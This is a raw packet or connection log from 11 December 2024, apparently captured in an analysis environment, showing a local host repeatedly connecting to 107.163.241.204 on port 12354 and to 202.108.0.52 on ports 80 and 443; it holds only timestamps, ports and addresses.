Dec 11, 2024 16:27:45.418462992 CET	49979	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:45.418504000 CET	443	49979	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:45.418581963 CET	49979	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:45.418824911 CET	49979	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:45.418840885 CET	443	49979	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:45.850466013 CET	12354	49961	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:45.850519896 CET	49961	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:45.850589991 CET	49961	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:45.851171017 CET	49984	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:45.956345081 CET	12354	49963	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:45.956454992 CET	49963	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:45.957878113 CET	49963	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:45.970004082 CET	12354	49961	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:45.970572948 CET	12354	49984	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:45.970791101 CET	49984	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:45.983357906 CET	49984	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:45.984584093 CET	49987	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:46.077132940 CET	12354	49963	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:46.102718115 CET	12354	49984	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:46.104063034 CET	12354	49987	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:46.104170084 CET	49987	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:46.104341030 CET	49987	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:46.223534107 CET	12354	49987	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:47.112828016 CET	443	49979	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:47.113039017 CET	49979	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:47.113646030 CET	49979	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:47.113656998 CET	443	49979	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:47.119029999 CET	49979	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:47.119036913 CET	443	49979	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:47.629435062 CET	49987	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:47.629472971 CET	49984	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:47.629503965 CET	49979	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:47.630188942 CET	50002	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:47.751140118 CET	50004	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:47.751910925 CET	12354	50002	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:47.752003908 CET	50002	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:47.753340006 CET	50002	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:47.754007101 CET	49964	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:47.754271030 CET	50005	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:47.871871948 CET	12354	50004	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:47.872082949 CET	50004	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:47.872256041 CET	50004	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:47.874339104 CET	12354	50002	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:47.875163078 CET	80	50005	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:47.875232935 CET	50005	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:47.875324011 CET	80	49964	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:47.875417948 CET	50005	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:47.876301050 CET	49964	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:47.991586924 CET	12354	50004	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:47.994704962 CET	80	50005	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:49.434077978 CET	80	50005	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:49.434138060 CET	50005	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:49.446964979 CET	50020	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:49.446991920 CET	443	50020	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:49.447096109 CET	50020	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:49.447909117 CET	50020	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:49.447921038 CET	443	50020	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:49.862520933 CET	12354	50002	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:49.864455938 CET	50002	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:49.864511013 CET	50002	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:49.866573095 CET	50025	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:49.985039949 CET	12354	50002	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:49.987211943 CET	12354	50025	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:49.987339020 CET	50025	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:49.988188028 CET	50025	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:49.988630056 CET	12354	50004	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:49.988720894 CET	50004	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:49.989589930 CET	50004	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:49.990470886 CET	50027	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:50.110088110 CET	12354	50025	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:50.111464977 CET	12354	50004	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:50.112260103 CET	12354	50027	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:50.112612009 CET	50027	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:50.112612009 CET	50027	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:50.232646942 CET	12354	50027	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:51.149106979 CET	443	50020	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:51.149220943 CET	50020	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:51.149688005 CET	50020	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:51.149698973 CET	443	50020	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:51.151599884 CET	50020	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:51.151608944 CET	443	50020	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:51.641906023 CET	50020	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:51.642030001 CET	50027	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:51.642030001 CET	50025	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:51.642734051 CET	50043	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:51.755791903 CET	50005	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:51.756095886 CET	50045	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:51.756192923 CET	50046	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:51.762118101 CET	12354	50043	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:51.762247086 CET	50043	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:51.762432098 CET	50043	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:51.876529932 CET	80	50045	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:51.876543045 CET	12354	50046	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:51.876681089 CET	50045	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:51.876681089 CET	50046	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:51.876929045 CET	50046	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:51.876941919 CET	50045	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:51.879379988 CET	80	50005	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:51.879456043 CET	50005	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:51.883126020 CET	12354	50043	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:51.997623920 CET	12354	50046	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:51.999388933 CET	80	50045	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:53.436860085 CET	80	50045	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:53.436914921 CET	50045	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:53.449048996 CET	50061	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:53.449101925 CET	443	50061	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:53.449708939 CET	50061	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:53.449708939 CET	50061	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:53.449752092 CET	443	50061	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:53.879961014 CET	12354	50043	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:53.880141020 CET	50043	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:53.881207943 CET	50043	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:53.888926983 CET	50065	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:53.989053011 CET	12354	50046	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:53.989111900 CET	50046	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:53.994724035 CET	50046	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:54.000464916 CET	12354	50043	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:54.008265972 CET	12354	50065	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:54.008337975 CET	50065	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:54.028875113 CET	50065	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:54.032670975 CET	50067	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:54.114901066 CET	12354	50046	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:54.148544073 CET	12354	50065	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:54.152956963 CET	12354	50067	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:54.153116941 CET	50067	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:54.153336048 CET	50067	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:54.272722006 CET	12354	50067	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:55.143310070 CET	443	50061	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:55.143392086 CET	50061	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:55.143992901 CET	50061	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:55.144006014 CET	443	50061	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:55.145771027 CET	50061	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:55.145781040 CET	443	50061	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:55.641742945 CET	50067	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:55.641784906 CET	50061	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:55.641813040 CET	50065	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:55.643296957 CET	50082	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:55.754640102 CET	50084	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:55.754842997 CET	50045	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:55.755239010 CET	50085	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:55.922322035 CET	12354	50082	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:55.922836065 CET	50082	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:55.925964117 CET	50082	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:56.023400068 CET	12354	50084	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:56.023412943 CET	80	50085	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:56.023570061 CET	50084	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:56.023570061 CET	50085	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:56.023747921 CET	50085	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:56.023853064 CET	50084	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:56.024138927 CET	80	50045	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:56.024190903 CET	50045	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:56.045325041 CET	12354	50082	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:56.143361092 CET	80	50085	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:56.143424988 CET	12354	50084	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:57.592732906 CET	80	50085	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:57.592852116 CET	50085	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:57.595617056 CET	50102	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:57.595673084 CET	443	50102	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:57.595787048 CET	50102	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:57.596026897 CET	50102	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:57.596039057 CET	443	50102	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:58.034215927 CET	12354	50082	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:58.034284115 CET	50082	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:58.034398079 CET	50082	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:58.035330057 CET	50106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:58.129080057 CET	12354	50084	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:58.129287958 CET	50084	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:58.129287958 CET	50084	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:58.155196905 CET	12354	50082	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:58.156306982 CET	12354	50106	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:58.156402111 CET	50106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:58.156562090 CET	50106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:58.159765959 CET	50108	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:58.249146938 CET	12354	50084	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:58.278031111 CET	12354	50106	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:58.281332970 CET	12354	50108	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:58.281407118 CET	50108	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:58.281598091 CET	50108	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:58.400938034 CET	12354	50108	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:59.292272091 CET	443	50102	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:59.292346954 CET	50102	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:59.376035929 CET	50102	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:59.376051903 CET	443	50102	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:59.391949892 CET	50102	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:59.391954899 CET	443	50102	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:59.708996058 CET	50102	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:59.709008932 CET	50108	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:59.709033012 CET	50106	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:59.718631983 CET	50121	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:59.837961912 CET	12354	50121	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:59.838052034 CET	50121	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:59.845781088 CET	50121	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:59.850589991 CET	50085	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:59.850851059 CET	50123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:59.853400946 CET	50124	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:59.965713024 CET	12354	50121	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:59.970952988 CET	80	50123	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:59.971090078 CET	50123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:59.971338987 CET	80	50085	202.108.0.52	192.168.2.8
Dec 11, 2024 16:27:59.971390009 CET	50085	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:27:59.973334074 CET	12354	50124	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:59.973512888 CET	50124	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:00.001235008 CET	50123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:00.001349926 CET	50124	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:00.127516985 CET	80	50123	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:00.127547979 CET	12354	50124	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:01.557259083 CET	80	50123	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:01.558419943 CET	50123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:01.566715002 CET	50142	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:01.566750050 CET	443	50142	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:01.566867113 CET	50142	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:01.567293882 CET	50142	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:01.567323923 CET	443	50142	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:01.956002951 CET	12354	50121	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:01.956095934 CET	50121	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:02.038297892 CET	50121	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:02.038645983 CET	50146	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:02.097038031 CET	12354	50124	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:02.097156048 CET	50124	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:02.153234005 CET	50124	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:02.157784939 CET	12354	50121	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:02.157960892 CET	12354	50146	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:02.158025980 CET	50146	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:02.272655010 CET	12354	50124	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:02.306674957 CET	50146	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:02.417505980 CET	50148	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:02.427194118 CET	12354	50146	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:02.537734032 CET	12354	50148	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:02.537807941 CET	50148	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:02.542670012 CET	50148	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:02.662441015 CET	12354	50148	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:03.478234053 CET	443	50142	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:03.478435993 CET	50142	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:03.478854895 CET	50142	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:03.478868008 CET	443	50142	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:03.480537891 CET	50142	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:03.480542898 CET	443	50142	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:03.860462904 CET	50146	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:03.860491991 CET	50148	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:03.860531092 CET	50142	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:03.860945940 CET	50163	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:03.974385977 CET	50166	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:03.980395079 CET	12354	50163	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:03.980520010 CET	50163	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:03.980678082 CET	50163	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:04.013485909 CET	50123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:04.013860941 CET	50167	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:04.094739914 CET	12354	50166	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:04.095062971 CET	50166	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:04.095062971 CET	50166	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:04.102900982 CET	12354	50163	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:04.134134054 CET	80	50167	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:04.134162903 CET	80	50123	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:04.134300947 CET	50123	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:04.134543896 CET	50167	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:04.134545088 CET	50167	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:04.217645884 CET	12354	50166	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:04.255479097 CET	80	50167	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:05.856730938 CET	80	50167	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:05.856966972 CET	50167	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:05.859726906 CET	50191	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:05.859750032 CET	443	50191	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:05.860043049 CET	50191	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:05.860464096 CET	50191	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:05.860477924 CET	443	50191	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:06.097142935 CET	12354	50163	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:06.097260952 CET	50163	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:06.097651005 CET	50163	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:06.097851992 CET	50195	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:06.206374884 CET	12354	50166	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:06.206587076 CET	50166	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:06.206855059 CET	50166	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:06.210679054 CET	50197	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:06.220499039 CET	12354	50163	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:06.220510006 CET	12354	50195	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:06.220655918 CET	50195	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:06.220885992 CET	50195	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:06.328341007 CET	12354	50166	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:06.332169056 CET	12354	50197	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:06.332256079 CET	50197	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:06.333921909 CET	50197	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:06.342096090 CET	12354	50195	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:06.453840017 CET	12354	50197	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:07.547162056 CET	443	50191	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:07.547230959 CET	50191	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:07.548289061 CET	50191	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:07.548297882 CET	443	50191	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:07.550873041 CET	50191	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:07.550880909 CET	443	50191	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:07.876513958 CET	50197	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:07.876538038 CET	50195	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:07.876580000 CET	50191	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:07.877672911 CET	50212	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:07.993659019 CET	50167	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:07.993740082 CET	50213	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:07.995146990 CET	50214	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:07.997243881 CET	12354	50212	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:08.000350952 CET	50212	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:08.000478983 CET	50212	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:08.114638090 CET	80	50213	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:08.114687920 CET	12354	50214	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:08.114700079 CET	80	50167	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:08.114927053 CET	50167	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:08.116281986 CET	50213	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:08.116281986 CET	50214	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:08.120835066 CET	50213	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:08.120933056 CET	50214	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:08.121876001 CET	12354	50212	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:08.240262985 CET	80	50213	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:08.240495920 CET	12354	50214	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:10.112585068 CET	12354	50212	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:10.112710953 CET	50212	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:10.112802982 CET	50212	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:10.113635063 CET	50235	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:10.222668886 CET	12354	50214	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:10.222734928 CET	50214	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:10.224319935 CET	50214	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:10.224946022 CET	50238	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:10.232274055 CET	12354	50212	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:10.233288050 CET	12354	50235	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:10.233369112 CET	50235	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:10.234067917 CET	50235	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:10.234337091 CET	80	50213	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:10.234400988 CET	50213	80	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:10.237828016 CET	50239	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:10.237848043 CET	443	50239	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:10.237926960 CET	50239	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:10.238249063 CET	50239	443	192.168.2.8	202.108.0.52
Dec 11, 2024 16:28:10.238260031 CET	443	50239	202.108.0.52	192.168.2.8
Dec 11, 2024 16:28:10.343574047 CET	12354	50214	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:10.344379902 CET	12354	50238	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:10.344450951 CET	50238	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:10.344650030 CET	50238	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:28:10.353540897 CET	12354	50235	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:10.464385986 CET	12354	50238	107.163.241.204	192.168.2.8
Dec 11, 2024 16:28:11.922704935 CET	50238	12354	192.168.2.8	107.163.241.204
